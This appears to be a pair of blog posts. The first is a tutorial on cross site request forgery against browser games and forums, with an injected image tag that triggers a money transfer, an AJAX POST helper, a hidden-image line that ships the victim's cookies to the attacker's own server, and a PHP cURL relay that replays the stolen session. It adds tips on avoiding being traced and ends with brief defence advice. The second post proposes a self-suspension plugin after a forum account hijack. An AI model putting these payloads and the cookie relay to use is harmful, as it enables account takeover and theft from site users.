Cross Site Request Forgery

Introduction
I suppose I should firstly explain what CSRF, or cross site request forgery, is. In a sense it is the opposite of cross site scripting. Instead or using the users trust in a web site CSRF uses the trust the server has in a user to create requests which usually result in user promotion or other things that only certain members can do.

Forms often use POST, especially forms like ones that, in a web based RPG, involve sending in-game money to another player. This means that you cannot use simple URLs with querystrings to send the variables. In this article I’ll talk about getting around that.

CSRF with GET forms.
With forms that use GET you should know that you can create a query which passes variables in the querystring.

Let’s use an example of sending money in an online browser based game. Let’s say that there is no filter at all anywhere in the site (for arguments sake). Let’s also say that users can send each other money and can send each other messages. One player could send another player a message as follows:
Title: Please consider me for clan “><img src=”/give_money.php?user=WhiteAcid&amount=100000″ /><input type=”hidden

Subject: [Some text]

When the recipient views the subject for the message an image is created. Obviously the URL is invalid but it would run the script, which could send me plenty of money. If the attacker was clever he could even use loops to send more money (and use spare, temporary, fake account and use a proxy server :p ).

Of course if there really were no filters you could run JS, steal the session ID and hijack it. But we’ll assume that script tags can’t be created.

In fact, if all tags were stripped you could still use the avatar space to run CSRF.

Forms like this would in fact most likely use the POST method, so we’ll talk about that next.

CSRF with POST
When forms use POST there are two ways to cause CSRF. One is to use AJAX to call the scripts. This method has the advantage that your identity stays more hidden and it deserves more kudos. The second method uses a remote server and cURL, this method is easier to use and you can usually use it when there’s limited amount of input space you can use. Both methods usually need you to be able to create JavaScript.

AJAX method
I’m not here to explain AJAX, use wikipedia for that. You can use it with JavaScript to do some pretty neat stuff. I’ll simply supply the functions you need; I think you know how to use them.

function makePOSTRequest(url, parameters)
{
http_request = false;
if (window.XMLHttpRequest)
{ // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType)
{
http_request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!http_request)
{
alert('Cannot create XMLHTTP instance');
return false;
}

//http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}

It’s as simple as that. You run that function with whatever parameters you want. Note that I commented out a line which would allow you to view the answers of the request. If you wish you could uncomment that line and create the following function:

function alertContents()
{
if (http_request.readyState == 4)
{
if (http_request.status == 200)
{
result = http_request.responseText;
//Do something with the variable result
}
else
{
alert('There was a problem with the request.');
}
}
}

You have to keep in mind that JavaScript adheres to the same-origin policy. This means that the AJAX script can only call scripts that are on the same domain as the page which you’re injecting the code unto.

The cURL method
This will require you to have a PHP file on another domain. Usually the other domain would be yours, which is why it could possibly be traced back to you.

You’d code this PHP file in such a way that you pass variables to it using GET, then it passes those variables unto another script (the action of the form you’re emulating) by POST. I’ll pretend that we’re trying to emulate the form we emulated earlier, just with POST this time. Here’s the JS you’d run:
docment.write("<img src='http://127.0.0.1/curl.php?user=WhiteAcid&amount=100000&url= http://127.0.0.1/post.php&c="+document.cookie+"' style='display: none;'/>")

As you can see that’ll create an image which also sends off the parameters we sent off last time, but instead of going straight to the forms target we’re going to our own file on our own server. Lastly it hides the image.

The PHP file curl.php (called from the JS) would contain this:

<?
function list_queries()
{
$arrquery = explode("&", $_SERVER["QUERY_STRING"]);

foreach ($arrquery as $query_value)
{
$valor = substr($query_value, strpos($query_value, "=") + 1);
$chave = substr($query_value, 0, strpos($query_value, "="));
$querystring[$chave] = $valor;
}
foreach ($querystring as $query_key => $query_value)
{
$query[] = "{$query_key}={$query_value}";
}

$query = implode("&", $query);
return $query;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, list_queries());
curl_setopt($ch, CURLOPT_COOKIE, $c);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec ($ch);
curl_close ($ch);

echo $content;
?>

This script will loop through all the GETed variables, build one long querystring and send it off POSTed. It’ll also return the resultant HTML but that can easily be disabled by commenting out the echo line at the end and (optionally) the CURLOPT_RETURNTRANSFER line near the end. Note that it does send the $_GET[‘url’] and $_GET[‘c’] variables too, but this wouldn’t really be a problem, if it was you could unset the variable because imploding the array. It needs JavaScript in order to access the cookies which need to be sent in order to use the session of the victim.

Protecting yourself from CSRF
It’s not the easiest method to protect yourself from. My normal golden rule to never ever trust any user input cannot be applied to the attack itself as the data is perfectly valid, but of course being sufficiently strict will prevent the attack from occurring in the first place.

Preventing the user from getting into a JavaScript tag should be easy enough. If the user is allowed to open arbitrary tags you’re not being a smart developer, if the user ever enter code straight into a <script> tag then you’re just being silly. Of course the often overlooked one is when a user can enter something in a style attribute of a tag and they can close that and start an event handler (as could be done on freewebs guestbooks a while back).

Some CSRF attacks that aren’t malicious but annoying can sometimes be very hard to prevent. For instance, on a default wordpress setup, I could make a post which has an image where the source /wp-login.php?action=logout which will frustrate anyone reading the post no end. IPB (the forums) solve this by being very strict in what is allowed inside a post. It has to start with http:// and it has to be a .gif .jpg .png or .bmp. That is one valid solution.

Share

Project for the bored (lesson from a hacked forum)

Hello guys and gals, this is my first post here so be gentle.

I’m giving all the bored programmers out there a project here, I’ll just be giving some background first, please bear with me.

I’m a moderator on a fairly large forum, critical security. Like most other forums of that size there’s always someone trying to hack us. Well… one user did find a new flaw in IPB (which has been reported BTW) in the PMing system. Essentially this allowed him to run JavaScript when the recipient reads the PM. He sent me a PM with JavaScript which sends my session ID off to a remote page. He also had it alert the text “hacked”, which told me immediately what he’d done. I quickly changed me password and logged out. It was too late, he was in as me and there was nothing I could do.

Since he now had moderator rights he could warn people he disliked, remove topics and generally cause mayhem. At the same time I was desperately trying to wake the admins up to get them to at least suspend my account. Eventually it was all sorted of course, but it did leave me thinking.

Users should be able to suspend their own account for up to 24 hours so that if this happens they are able to stop it themselves. A plug in like this would be perfect for forums of all kinds but it could also be made for blogs, CMSes etc.

My idea was as follows: There’s a page with a form that asks for a username and password, along with one of those random pictures that prevents automated submitting of the form. The user would enter their log in details of the forum into the form and submit the form, they’d then get to choose how long to suspend their account for anywhere from 2-24 hours. They get a confirmation email where they could finalise the issue.

This would of course have to have safeguards, for instance only allowing 3 wrong username/password attempts per day per IP and something to prevent successive suspensions.

Now, as Maddox would have said; Why are programming visualisations when you could be making this? Who wants to watch their music?

Share